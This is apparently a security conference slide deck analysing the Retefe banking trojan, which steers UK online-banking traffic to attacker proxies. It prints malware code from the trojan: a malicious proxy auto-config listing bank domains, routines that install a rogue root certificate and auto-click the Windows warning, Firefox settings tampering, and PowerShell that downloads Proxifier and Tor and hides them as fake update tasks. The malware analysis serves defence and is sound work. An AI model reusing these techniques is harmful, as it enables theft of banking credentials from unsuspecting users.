



Malicious proxy auto-configs:

An easy way to harvest banking credentials

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Today we will be presenting...

- 1 Proxy auto-config
- 2 Infection vector
- 3 Installation of the malware
- 4 Examples of fake banking sites
- 5 Statistics

Proxy auto-config (PAC)

Defines how web browsers automatically choose the appropriate proxy server to fetch a given URL

Several predefined functions:

isPlainHostName(), dnsDomainIs(),
localHostOrDomainIs(), isResolvable(), isInNet(),
dnsResolve(), myIpAddress(), dnsDomainLevels(),
shExpMatch(), weekdayRange(), dateRange(),
timeRange()


```
function FindProxyForURL(url, host) {  
    var proxy = "SOCKS 109.234.37.93:88";  
    var hosts = new Array('*barclays.co.uk',  
    for (var i = 0; i < hosts.length; i++) {  
        if (shExpMatch(host, hosts[i])) {  
            return proxy  
        }  
    }  
    return ""  
}
```

- Must contain JavaScript function "FindProxyForURL(url, host)", which returns:
 - DIRECT - Connections should be made directly, without any proxies
 - PROXY host:port - specifies which proxy should be used
 - SOCKS host:port - specifies SOCKS server

Source: <http://findproxyforurl.com/netscape-documentation/>

PAC in Chrome / FF / IE

- Chrome
 - Settings -> Advanced Settings -> Change proxy settings... -> LAN Settings
- Internet Explorer
 - Tools -> Internet Options -> Connections -> LAN Settings
- Firefox
 - Tools -> Options -> Advanced -> Network.



The history of Retefe

- In the past
 - OLE embedding EXE file (RAR SFX, CPL, ...)
 - Reported to target Switzerland, Austria, Sweden, Japan
- References
 - A close look at a targeted attack delivery (February 2014)
 - <https://blogs.technet.microsoft.com/mmpc/2014/02/27/a-close-look-at-a-targeted-attack-delivery/>
 - Finding Holes - Operation Emmental (July 2014), whitepaper
 - <http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emental.pdf>
 - The Circle Around Retefe (May 2015), talk at CARO Workshop
 - <http://2015.caro.org/presentations/the-circle-around-retefe>

Retefe now

- Nowadays
 - OLE embedding JavaScript file
 - Drops PowerShell scripts to install fake certificate
 - Simple JavaScript and PAC obfuscation
 - May install additional tools like Tor, Proxifier, etc...
 - Persistence may be added

Retefe now

- References

- Retefe is back in town (April 2016)

- <https://isc.sans.edu/diary/Retefe%2Bis%2Bback%2Bin%2Btown/20957>

- Thank You For Your Order Ref 58380529 Talkmobile – word doc malware (April 2016)

- <https://myonlinesecurity.co.uk/thank-you-for-your-order-ref-58380529-talkmobile-word-doc-malware/>

- Retefe banking Trojan targets UK banking customers (June 2016)

- <https://blog.avast.com/retefe-banking-trojan-targets-uk-banking-customers>

- The evolution of the Retefe banking Trojan (July 2016)

- <https://blog.avast.com/the-evolution-of-the-retefe-banking-trojan>


Infection vector

- Social engineering
 - "To see the invoice, double click on the image"



Um Quittung zu sehen, klicken Sie zwei Mal auf dem Bild.

- Victim double-clicks on OLE embedded script
 - No need for an exploit kit
 - No macros / no need to enable them



Infection vector

- *oleObject1.bin* is OLE Package
- OLE Package contains JavaScript with various filenames
 - Rechnung, Bestellung, Zahlung, Quittung, DHL Paket, etc.
 - Invoice, order, payment, package, etc.

```
Listing archive: retefe.doc
```

Date	Time	Attr	Size	Compressed	Name
1980-01-01	00:00:00	712	371	docProps\app.xml
1980-01-01	00:00:00	737	373	docProps\core.xml
1980-01-01	00:00:00	2332	1013	word\document.xml
1980-01-01	00:00:00	34816	14811	word\embeddings\oleObject1.bin
1980-01-01	00:00:00	1031	382	word\fontTable.xml
2016-06-30	10:22:02A	12088	11313	word\media\image1.wmf
1980-01-01	00:00:00	1583	703	word\settings.xml
1980-01-01	00:00:00	14804	1804	word\styles.xml
1980-01-01	00:00:00	7043	1717	word\theme\theme1.xml
1980-01-01	00:00:00	260	187	word\webSettings.xml
1980-01-01	00:00:00	1094	300	word_rels\document.xml.rels
1980-01-01	00:00:00	1460	387	[Content_Types].xml
1980-01-01	00:00:00	590	243	_rels\.rels
			78550	33604	13 files, 0 folders

Malicious JavaScript file

- Core function
 - Init
 - Drops *cert.der, ps.ps1, psf.ps1*
 - Start
 - Installing on IE / FF
 - IE, Chrome – Windows Certificate Store
 - FF – its own certificate store
 - CloseAllBrowsers
 - Close

```
function Core() {
    this["Init"] = function() {
        Cert = new C_Cert();
        Cert["Init"]();
        IE = new C_IE();
        FF = new C_FF();
    };
    this["Start"] = function() {
        this["Init"]();
        this["CloseAllBrowsers"]();
        this["InstallIE"]();
        this["InstallFF"]();
        WScript["Sleep"](5000);
        this["Close"]();
    };
    this["InstallIE"] = function() {
        IE["InstallCert"]();
        IE["InstallPac"]();
    };
    this["InstallFF"] = function() {
        FF["InstallCert"]();
        FF["InstallPac"]();
    };
    this["CloseAllBrowsers"] = function() {
        wss["Run"]("taskkill /F /im iexplore.exe", 0, false);
        wss["Run"]("taskkill /F /im firefox.exe", 0, false);
        wss["Run"]("taskkill /F /im chrome.exe", 0, false);
    };
    this["Close"] = function() {
        Cert["Close"]();
        IE["Close"]();
        FF["Close"]();
    };
}
```


Malicious JavaScript file

- Installing on Firefox
 - Finds default profile in [\\Mozilla\\Firefox\\Profiles](#)
- Edits *prefs.js*
 - Delete *blockDotOnion*
 - Delete *network.proxy* settings


```
var StrPrefsJs = StrProfile + "\\prefs.js";
if (fso.FileExists(StrPrefsJs)) {
    var StrContent = fso.OpenTextFile(StrPrefsJs, 1).ReadAll();
    var ArrContent = StrContent.split("\n");
    var NewArrContent = [];
    for (var i = 0; i < ArrContent.length; i++) {
        if (ArrContent[i].indexOf("network.dns.blockDotOnion") != -1) {
            ArrContent[i] = ArrContent[i].replace("true", "false")
        }
        if (ArrContent[i].indexOf("network.proxy.") == -1) {
            NewArrContent.push(ArrContent[i])
        }
    }
    NewArrContent.push("user_pref(\"network.dns.blockDotOnion\", false);");
    StrContent = NewArrContent.join("\n");
    var stream = fso.CreateTextFile(StrPrefsJs, true);
    stream.Write(StrContent);
    stream.Close()
}
```


Installing the certificate

- Uses Certutil

```
..
this["InstallCert"] = function() {
  if (!this["IsCertUtilInstalled"]()) {};
  this["ConfirmCert"]();
  wss["Run"]("certutil -addstore -f -user \\\"ROOT\" \"\" + Cert["FileName"] + "\"\", 0, true)
```

- Uses "PS" PowerShell script to "confirm" security warning and click on Yes button



Installing the certificate


- Finds a windows with Dialog Box system class in *csrss* or *certutil* process
- SendMessage, BM_CLICK
- Security warning quickly disappears

```
[DllImport("user32.dll", CharSet = CharSet.Auto)]
static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam);
const int BM_CLICK = 0x00F5;
public static void Start(){
    IntPtr hWnd;
    do{
        hWnd = FindWindow("#32770", null);
        if (!hWnd.Equals(IntPtr.Zero))
        {
            String sExeName=GetExeName(hWnd);
            if(GetExeName(hWnd).Contains("csrss") || GetExeName(hWnd).Contains("certutil"))
            {
                break;
            }else
            {
                hWnd=IntPtr.Zero;
            }
        }
    }
    while (hWnd.Equals(IntPtr.Zero));
}
```

Class	Description
ComboBox	The class for the list box contained in a combo box.
DDEMLEvent	The class for Dynamic Data Exchange Management Library (DDEML) events.
Message	The class for a message-only window.
#32768	The class for a menu.
#32769	The class for the desktop window.
#32770	The class for a dialog box.
#32771	The class for the task switch window.
#32772	The class for icon titles.

Installing the certificate

- Fake certificate



Installing the certificate into Firefox

- Invokes imports from *nss3.dll* (Network Security Services)


- CERT_GetDefaultCertDB
 - Returns handle for default certificate database
- CERT_ImportCerts
 - Imports the certificate
- CERT_ChangeCertTrust
 - Sets flag CERTDB_TRUSTED_CA

```
CertTrusts CertTrust = new CertTrusts();
CertTrust.iSite = 0x10;
CertTrust.iEmail = 0x10;
CertTrust.iSoft = 0x10;

IntPtr CertToImport = new IntPtr();
IntPtr[] aCertToImport = new IntPtr[1];
//End init cert
int status = NSS_Initialize(sProfile, "", "", SECMOD_DB, NSS_INIT_OPTIMIZESPACE);
if (status != ERROR_SUCCESS)
{
    return false;
}
IntPtr bd = CERT_GetDefaultCertDB();
if (bd.Equals(IntPtr.Zero))
{
    NSS_Shutdown();
    return false;
}
status = CERT_ImportCerts(bd, 11, 1, ref aCertItem, ref CertToImport, 1, 0, IntPtr.Zero);
if (status != ERROR_SUCCESS)
{
    NSS_Shutdown();
    return false;
}
Marshal.Copy(CertToImport, aCertToImport, 0, 1);
status = CERT_ChangeCertTrust(bd, aCertToImport[0], ref CertTrust);
if (status != ERROR_SUCCESS)
{
    NSS_Shutdown();
    return false;
}
};
```



Modification of PAC URL

- Uses hidden service gateway to access *.onion* domains
- URL matches regexp format
 - `\w+\.onion(\.to)?\Vw+\.js\?ip=\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}`



Malicious PAC file

- IP address matters
 - Non-UK IP address



A screenshot of a web browser displaying a warning banner from TOR2WEB. The address bar shows the URL: `https://zmkmg2ogpf3bxsfm.onion.to/YZQqQZZjjs?ip=1.1.1.1`. The banner includes the TOR2WEB logo and text: "onion.to does not host this content; we are simply a conduit connecting Internet users to content hosted inside the Tor network. onion.to does not provide any anonymity. You are strongly advised to download the Tor Browser Bundle and access this content over Tor. For more information see our website for more details and send us your feedback." Below the text is a link: "hide Tor2web header".

404 Not Found

nginx

- UK IP address



A screenshot of a web browser showing a JavaScript error message. The address bar shows the URL: `https://zmkmg2ogpf3bxsfm.onion.to/YZQqQZZjjs?ip=`. The error message is: `eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!".replace(/"/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]};e=function(){return"\w+"};c=1};while(c--){if(k[c]){p=p.replace(new RegExp("\b'+e(c)+'\b','g'),k[c])}return p}('q m(l,b){4 9="n 5.o.k.p.r;";4 8=h d(\c.1.2\, *j.3\, *e.3 \, *6.1.2\, *g.6.1.2\, *f.6.1.2\, *y.1.2\, *C.3\, *B.D.1.2\, *s.3\, *F.1.2\, *1-A.1.2\, *7.3\, *7.3\, *z.1.2\, *u.1.2\, *t.3\);v(4 i=0;i<8.w;i++){7(x(b,8[i])){a 9})a"E"};42,42,|co|uk|com|var||hsbc|if|hosts|proxy|return|host|barclays|Array|nwo|b|business|www|new|natwest|183|url|FindProxyForURL|SOCKS|34|158|function|80|cahoot|tescobanl`

Malicious PAC file

- Obfuscated with Dean Edwards packer

```
eval(function(p,a,c,k,e,d)
```

- Proxy server URL
 - IP address : port
 - Onion URL : port
- Lists of hosts – targeting UK banks

```
function FindProxyForURL(url, host) {  
    var proxy = "SOCKS 185.14.30.97:88";  
    var hosts = new Array(  
        '*barclays.co.uk',  
        '*natwest.com',  
        '*nwolb.com',  
        'hsbc.co.uk',  
        'www.hsbc.co.uk',  
        '*business.hsbc.co.uk',  
        '*santander.co.uk',  
        '*rbsdigital.com',  
        'onlinebusiness.lloydsbank.co.uk',  
        '*cahoot.com',  
        '*smile.co.uk',  
        '*co-operativebank.co.uk',  
        'if.com',  
        '*.if.com',  
        '*ulsterbankanytimebanking.co.uk',  
        '*sainsburysbank.co.uk',  
        '*tescobank.com');  
    for (var i = 0; i < hosts.length; i++) {  
        if (shExpMatch(host, hosts[i])) {  
            return proxy  
        }  
    }  
    return "DIRECT"  
}
```


Tor, Proxifier


- At the end of June, additional tools and features were added

- Tor
- Proxifier

```
add - type - name win - member ` $t - namespace native;
[native.win]::ShowWindow((([System.Diagnostics.Process]::GetCurrentProcess() |
    Get - Process).MainWindowHandle, 0);
Start - Process - WindowStyle hidden - Wait - FilePath \ ` "$stor\`;
` "";
```


```
$purl = 'http://' + $Domain + '.link/p.zip?t=' + [System.DateTime]::Now.Ticks;
$wc.DownloadFile($purl, $PFile);
Unzip $PFile $DestIP;
rm - Force $PFile;
$sp = $DestIP + '\p\Proxifier.exe';
AddTask 'AdobeFlashPlayerUpdate' $sp;
```

```
$stor = $DestIP + '\Tor\tor.exe';
$stor_cmd = "-WindowStyle hidden ` " ` $t = '[DllImport(`"user32.dll`")] public static extern bool ShowWindow(int handle, int state);';
add - type - name win - member ` $t - namespace native;
[native.win]::ShowWindow((([System.Diagnostics.Process]::GetCurrentProcess() |
    Get - Process).MainWindowHandle, 0);
Start - Process - WindowStyle hidden - Wait - FilePath \ ` "$stor\`;
` "";
```




Persistence

- Newer versions are more persistent
- Download and use Task Scheduler Wrapper



The screenshot shows the GitHub repository for 'Task Scheduler Managed Wrapper'. It includes navigation tabs like HOME, SOURCE CODE, DOWNLOADS, DOCUMENTATION, DISCUSSIONS, ISSUES, PEOPLE, and LICENSE. A 'download' button is prominent, along with release information for version 2.0.21, dated July 26, 2016. The 'Main Library' section describes the wrapper's functionality, mentioning its compatibility with Windows Vista and its ability to handle COM objects.

```
$tor=$DestTP+'\\Tor\tor.exe';  
$tor_cmd="-WindowStyle hidden -n '$t = '[DllImport(\"user32.dll\")] public stat  
AddTask 'GoogleUpdateTask' 'PowerShell.exe' $tor_cmd;  
$PFile=$env:Temp+'\p.zip';  
$wc=new-object net.webclient;  
$purl='http://'+$Domain+'.link/p.zip?t='+[System.DateTime]::Now.Ticks;  
$wc.DownloadFile($purl,$PFile);  
Unzip $PFile $DestTP;  
rm -Force $PFile;  
$p=$DestTP+'\p\Proxifier.exe';  
AddTask 'AdobeFlashPlayerUpdate' $p;
```



The screenshot displays the Windows Task Scheduler interface. The top table lists tasks with columns for Name, Status, and Triggers. Below, the 'Triggers' tab is active, showing a single trigger: 'Start a program' with details 'C:\Users\win7\AppData\Roaming\TP\p\Proxifier.exe'.

Name	Status	Triggers
Adobe Flash...	Ready	At 4:01 PM every day - After triggered, repeat every 1 hour fo
AdobeFlash...	Running	Multiple triggers defined
GoogleUpda...	Ready	Multiple triggers defined
GoogleUpda...	Ready	Multiple triggers defined
GoogleUpda...	Ready	At 10:18 AM every day - After triggered, repeat every 1 hour

Action	Details
Start a program	C:\Users\win7\AppData\Roaming\TP\p\Proxifier.exe

Fake banking sites



- Request credentials
 - Credit Card number
 - Social number
 - Mobile Phone number
 - Security code

- Difficult to recognize

- Fake certificate
- Legitimate certificate


<https://bank.barclays.co.uk/>

 [Barclays Bank PLC \[GB\] https://bank.barclays.co.uk/olb/auth/LoginLink.action](https://bank.barclays.co.uk/olb/auth/LoginLink.action)


- Use counter to delay user action




Intelligent Finance



Santander



More affected banks



Comparing certificates




IP Blacklisting

```
function FindProxyForURL(url,host){return"DIRECT"}
```




GUIDS per country

GUIDs per country



Hits per day (May - September)



Summary

- Effective social engineering tactics used to trick banking customers
- No “Enable content” or “Enable macros”
- Added new target country (UK)
- No executable file, shifted completely to scripts
 - PowerShell, JavaScript
- Additional tools (Tor, Proxifier) and persistence
- Both proxy and config URL behind TOR



Thank You

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Q & A